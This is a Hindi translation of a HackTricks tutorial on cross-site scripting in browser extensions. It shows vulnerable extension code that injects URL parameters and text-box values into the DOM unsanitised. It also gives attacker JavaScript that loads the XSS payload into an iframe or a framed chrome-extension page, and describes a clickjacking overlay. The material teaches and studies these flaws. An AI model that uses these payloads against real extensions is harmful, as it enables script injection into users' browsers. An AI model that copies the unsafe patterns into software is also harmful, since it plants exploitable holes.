mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-27 05:23:30 +00:00
135 lines
11 KiB
Markdown
135 lines
11 KiB
Markdown
# BrowExt - XSS उदाहरण
|
|
|
|
<details>
|
|
|
|
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
|
|
|
</details>
|
|
|
|
## Iframe पर XSS
|
|
|
|
**Content script** एक Iframe बनाती है जो एक **URL को iFrame स्रोत के पैरामीटर्स में इंगित करती है**:
|
|
```javascript
|
|
chrome.storage.local.get("message", result =>
|
|
{
|
|
frame.src = chrome.runtime.getURL("message.html") +
|
|
"?message=" + encodeURIComponent(result.message) +
|
|
"&url=https://example.net/explanation";
|
|
});
|
|
```
|
|
एक उजागर html पृष्ठ: **`message.html`**, जो **ब्राउज़र** से सुलभ है, इसमें ऐसा कोड होता है:
|
|
```java
|
|
$(() =>
|
|
{
|
|
let params = new URLSearchParams(location.search);
|
|
$(document.body).append(params.get("message") + " <button>Explain</button>");
|
|
$("body > button").click(() =>
|
|
{
|
|
chrome.tabs.create({ url: params.get("url") });
|
|
});
|
|
});
|
|
```
|
|
दुर्भावनापूर्ण पृष्ठ निम्नलिखित जैसी स्क्रिप्ट को निष्पादित करता है ताकि संदेश को **XSS payload** के लिए बदला जा सके:
|
|
```javascript
|
|
setTimeout(() =>
|
|
{
|
|
let frame = document.querySelector("iframe:last-child");
|
|
let src = frame.src;
|
|
|
|
// Remove existing query parameters
|
|
src = src.replace(/\?.*/, "");
|
|
|
|
// Add malicious query parameters
|
|
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
|
|
|
|
// Load into frame
|
|
frame.src = src;
|
|
}, 1000);
|
|
```
|
|
एक उदार Content Security Policy जैसे कि 
|
|
```json
|
|
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
|
```
|
|
जेएस कोड के निष्पादन की अनुमति देगा।
|
|
|
|
XSS को इच्छानुसार ट्रिगर करने का एक और तरीका है चलाना:
|
|
```javascript
|
|
let frame = document.createElement("iframe");
|
|
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
|
|
+ encodeURIComponent("<script>alert('XSS')</script>");
|
|
document.body.appendChild(frame);
|
|
```
|
|
## DOM-based XSS + ClickJacking
|
|
|
|
पहली कमजोरी DOM-based Cross-site Scripting (XSS) कमजोरी है **`/html/bookmarks.html`** में, निम्नलिखित संवेदनशील JavaScript है जो शामिल है **`bookmarks.js`** में:
|
|
```javascript
|
|
$('#btAdd').click(function() {
|
|
var btname = $('#txtName').val();
|
|
if ($('.custom-button .name').filter(function() {
|
|
return $(this).text() === btname;
|
|
}).length) return false;
|
|
|
|
var span = $('<span class="custom-button">');
|
|
span.html('<span class="name">' + btname + '</span>');
|
|
span.append('<a href="javascript:void(0)" title="remove">x</a>');
|
|
span.attr('title', btname);
|
|
span.data('id', (new Date().getTime()));
|
|
$('div.custom-buttons .existing').append(span);
|
|
save_options();
|
|
});
|
|
```
|
|
उपरोक्त JavaScript **`txtName`** टेक्स्ट बॉक्स के **मान** को लेता है और **HTML बनाने के लिए स्ट्रिंग संयोजन का उपयोग करता है** जिसे jQuery के ["append()"](https://api.jquery.com/append/) फ़ंक्शन के माध्यम से DOM में जोड़ा जाता है।
|
|
|
|
सामान्यतः, Chrome एक्सटेंशन Content Security Policy (CSP) को इस संवेदनशीलता का शोषण होने से रोकना चाहिए। हालांकि, [**'unsafe-eval'**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) के माध्यम से इस नीति को ढीला करने और jQuery के DOM APIs के उपयोग के कारण, इसे अभी भी **शोषण** किया जा सकता था। यह इसलिए है क्योंकि jQuery के DOM APIs में से अधिकांश [“globalEval()”](https://api.jquery.com/jquery.globaleval/) का उपयोग करते हैं, जो स्वचालित रूप से स्क्रिप्ट्स को DOM में जोड़ने पर [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) को पास कर देता है।
|
|
|
|
यद्यपि यह एक गंभीर संवेदनशीलता है, अपने आप में इसका शोषण काफी सीमित है क्योंकि इसे शोषण करने के लिए **उपयोगकर्ता-संपर्क की आवश्यकता होती है**। पीड़ित को पेज खोलना होगा, फील्ड में Cross-site Scripting (XSS) पेलोड पेस्ट करना होगा, और इसे शोषण करने के लिए "Add" बटन पर क्लिक करना होगा।
|
|
|
|
इस संवेदनशीलता को बेहतर ढंग से हथियार बनाने के लिए हम एक अलग संवेदनशीलता (**clickjacking**) का उपयोग करते हैं ताकि हमले को मजबूत किया जा सके।
|
|
|
|
निम्नलिखित Chrome एक्सटेंशन के मैनिफेस्ट से एक अंश है:
|
|
```json
|
|
...trimmed for brevity...
|
|
"web_accessible_resources": [
|
|
"_locales/*",
|
|
"bundle/*",
|
|
"dist/*",
|
|
"assets/*",
|
|
"font/*",
|
|
"html/bookmarks.html",
|
|
"css/*.css",
|
|
"js/*.js",
|
|
"js/jquery/*.js",
|
|
"js/lang/*"
|
|
],
|
|
...trimmed for brevity...
|
|
```
|
|
उपरोक्त खंड दर्शाता है कि एक्सटेंशन अपनी **`web_accessible_resources`** नीति के साथ व्यापक जाल बिछाता है।
|
|
|
|
**`/html/bookmarks.html`** पृष्ठ भी **framed** हो सकता है और इस प्रकार **clickjacking** के माध्यम से **exploited** किया जा सकता है। हम इसका दुरुपयोग करते हैं ताकि हम इस पृष्ठ को हमारे वेब पेज में iframe कर सकें, और **DOM तत्वों के साथ फ्रेम को ओवरले करके लेआउट को रीड्रेस करें**। इससे यह होता है कि पीड़ित को यह पता नहीं चलता कि वे **वास्तव में नीचे के एक्सटेंशन के साथ इंटरैक्ट कर रहे हैं**। निम्नलिखित एनीमेशन इस प्रभाव को दर्शाता है (एनीमेशन को [**मूल पोस्ट लेखन**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) में देखें)।
|
|
|
|
## संदर्भ
|
|
|
|
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
|
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks का समर्थन करने के अन्य तरीके:
|
|
|
|
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
|
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें**।
|
|
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
|
|
|
</details>
|